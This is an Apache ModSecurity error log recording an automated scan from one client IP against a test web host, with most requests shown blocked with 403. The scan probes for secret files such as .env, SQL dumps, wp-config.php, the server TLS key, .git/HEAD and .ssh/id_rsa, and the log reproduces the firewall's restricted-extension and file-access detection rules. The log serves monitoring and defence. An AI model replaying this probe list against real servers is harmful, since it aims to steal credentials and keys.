[Sun Mar 16 22:10:57.195120 2025] [:error] [pid 1828135] [client 109.202.99.36:25571] [client 109.202.99.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Z9c-YbFz2r7dEIIzjLgOvQAAAAM"]
[Sun Mar 16 22:10:57.195305 2025] [:error] [pid 1828135] [client 109.202.99.36:25571] [client 109.202.99.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Z9c-YbFz2r7dEIIzjLgOvQAAAAM"]
[Sun Mar 16 22:10:57.195479 2025] [:error] [pid 1828135] [client 109.202.99.36:25571] [client 109.202.99.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Z9c-YbFz2r7dEIIzjLgOvQAAAAM"]
[Sun Mar 16 22:10:57.597933 2025] [:error] [pid 1825865] [client 109.202.99.36:17353] [client 109.202.99.36] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backup.sql"] [unique_id "Z9c-YdDykrj6007vS_1SgQAAAAY"]
[Sun Mar 16 22:10:57.612428 2025] [:error] [pid 1825865] [client 109.202.99.36:17353] [client 109.202.99.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backup.sql"] [unique_id "Z9c-YdDykrj6007vS_1SgQAAAAY"]
[Sun Mar 16 22:10:57.612728 2025] [:error] [pid 1825865] [client 109.202.99.36:17353] [client 109.202.99.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backup.sql"] [unique_id "Z9c-YdDykrj6007vS_1SgQAAAAY"]
[Sun Mar 16 22:10:57.720193 2025] [:error] [pid 1825864] [client 109.202.99.36:35687] [client 109.202.99.36] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/dump.sql"] [unique_id "Z9c-YRv0BTBfu7FAinEybwAAAAU"]
[Sun Mar 16 22:10:57.720516 2025] [:error] [pid 1825864] [client 109.202.99.36:35687] [client 109.202.99.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/dump.sql"] [unique_id "Z9c-YRv0BTBfu7FAinEybwAAAAU"]
[Sun Mar 16 22:10:57.720685 2025] [:error] [pid 1825864] [client 109.202.99.36:35687] [client 109.202.99.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/dump.sql"] [unique_id "Z9c-YRv0BTBfu7FAinEybwAAAAU"]
[Sun Mar 16 22:10:58.336995 2025] [:error] [pid 1828145] [client 109.202.99.36:23713] [client 109.202.99.36] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/database_backup.sql"] [unique_id "Z9c-Yl9-vshWBrKFDF7DhQAAAAQ"]
[Sun Mar 16 22:10:58.337349 2025] [:error] [pid 1828145] [client 109.202.99.36:23713] [client 109.202.99.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/database_backup.sql"] [unique_id "Z9c-Yl9-vshWBrKFDF7DhQAAAAQ"]
[Sun Mar 16 22:10:58.337517 2025] [:error] [pid 1828145] [client 109.202.99.36:23713] [client 109.202.99.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/database_backup.sql"] [unique_id "Z9c-Yl9-vshWBrKFDF7DhQAAAAQ"]
[Sun Mar 16 22:10:58.351004 2025] [:error] [pid 1825864] [client 109.202.99.36:40803] [client 109.202.99.36] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/database.sql"] [unique_id "Z9c-Yhv0BTBfu7FAinEycAAAAAU"]
[Sun Mar 16 22:10:58.354676 2025] [:error] [pid 1825864] [client 109.202.99.36:40803] [client 109.202.99.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/database.sql"] [unique_id "Z9c-Yhv0BTBfu7FAinEycAAAAAU"]
[Sun Mar 16 22:10:58.354870 2025] [:error] [pid 1825864] [client 109.202.99.36:40803] [client 109.202.99.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/database.sql"] [unique_id "Z9c-Yhv0BTBfu7FAinEycAAAAAU"]
[Sun Mar 16 22:10:58.992658 2025] [:error] [pid 1828158] [client 109.202.99.36:18487] [client 109.202.99.36] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.svn/wc.db"] [unique_id "Z9c-YsVnd2micann6itghQAAABA"]
[Sun Mar 16 22:10:58.993088 2025] [:error] [pid 1828158] [client 109.202.99.36:18487] [client 109.202.99.36] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/wc.db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.svn/wc.db"] [unique_id "Z9c-YsVnd2micann6itghQAAABA"]
[Sun Mar 16 22:10:58.993517 2025] [:error] [pid 1828158] [client 109.202.99.36:18487] [client 109.202.99.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.svn/wc.db"] [unique_id "Z9c-YsVnd2micann6itghQAAABA"]
[Sun Mar 16 22:10:58.993958 2025] [:error] [pid 1828158] [client 109.202.99.36:18487] [client 109.202.99.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.svn/wc.db"] [unique_id "Z9c-YsVnd2micann6itghQAAABA"]
[Sun Mar 16 22:10:58.997511 2025] [:error] [pid 1828160] [client 109.202.99.36:48621] [client 109.202.99.36] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/etc/ssl/private/server.key"] [unique_id "Z9c-Yp_ph0BUgRxaeHOdCQAAABI"]
[Sun Mar 16 22:10:58.999530 2025] [:error] [pid 1825671] [client 109.202.99.36:26823] [client 109.202.99.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "Z9c-YgCK-9_3YmSrShN87wAAAAI"]
[Sun Mar 16 22:10:58.999723 2025] [:error] [pid 1825671] [client 109.202.99.36:26823] [client 109.202.99.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "Z9c-YgCK-9_3YmSrShN87wAAAAI"]
[Sun Mar 16 22:10:58.999897 2025] [:error] [pid 1825671] [client 109.202.99.36:26823] [client 109.202.99.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "Z9c-YgCK-9_3YmSrShN87wAAAAI"]
[Sun Mar 16 22:10:59.002324 2025] [:error] [pid 1828160] [client 109.202.99.36:48621] [client 109.202.99.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/etc/ssl/private/server.key"] [unique_id "Z9c-Yp_ph0BUgRxaeHOdCQAAABI"]
[Sun Mar 16 22:10:59.002549 2025] [:error] [pid 1828160] [client 109.202.99.36:48621] [client 109.202.99.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/etc/ssl/private/server.key"] [unique_id "Z9c-Yp_ph0BUgRxaeHOdCQAAABI"]
[Sun Mar 16 22:10:59.006952 2025] [:error] [pid 1828141] [client 109.202.99.36:39549] [client 109.202.99.36] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "Z9c-YwQ0GIesywviwWg0lAAAAAg"]
[Sun Mar 16 22:10:59.007131 2025] [:error] [pid 1828141] [client 109.202.99.36:39549] [client 109.202.99.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "Z9c-YwQ0GIesywviwWg0lAAAAAg"]
[Sun Mar 16 22:10:59.007309 2025] [:error] [pid 1828141] [client 109.202.99.36:39549] [client 109.202.99.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "Z9c-YwQ0GIesywviwWg0lAAAAAg"]
[Sun Mar 16 22:10:59.791587 2025] [:error] [pid 1828160] [client 109.202.99.36:26579] [client 109.202.99.36] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "Z9c-Y5_ph0BUgRxaeHOdCgAAABI"]
[Sun Mar 16 22:10:59.791846 2025] [:error] [pid 1828160] [client 109.202.99.36:26579] [client 109.202.99.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "Z9c-Y5_ph0BUgRxaeHOdCgAAABI"]
[Sun Mar 16 22:10:59.802450 2025] [:error] [pid 1828160] [client 109.202.99.36:26579] [client 109.202.99.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "Z9c-Y5_ph0BUgRxaeHOdCgAAABI"]
[Sun Mar 16 22:10:59.795361 2025] [:error] [pid 1825865] [client 109.202.99.36:18501] [client 109.202.99.36] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".pwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/_vti_pvt/service.pwd"] [unique_id "Z9c-Y9Dykrj6007vS_1SgwAAAAY"]
[Sun Mar 16 22:10:59.803086 2025] [:error] [pid 1825865] [client 109.202.99.36:18501] [client 109.202.99.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/_vti_pvt/service.pwd"] [unique_id "Z9c-Y9Dykrj6007vS_1SgwAAAAY"]
[Sun Mar 16 22:10:59.803246 2025] [:error] [pid 1825865] [client 109.202.99.36:18501] [client 109.202.99.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/_vti_pvt/service.pwd"] [unique_id "Z9c-Y9Dykrj6007vS_1SgwAAAAY"]
[Sun Mar 16 22:10:59.799193 2025] [:error] [pid 1828150] [client 109.202.99.36:5997] [client 109.202.99.36] ModSecurity: Warning. Matched phrase ".ssh/id_rsa" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .ssh/id_rsa found within REQUEST_FILENAME: /.ssh/id_rsa"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.ssh/id_rsa"] [unique_id "Z9c-Y4rmw6rNDeZD4UQqXwAAAA8"]
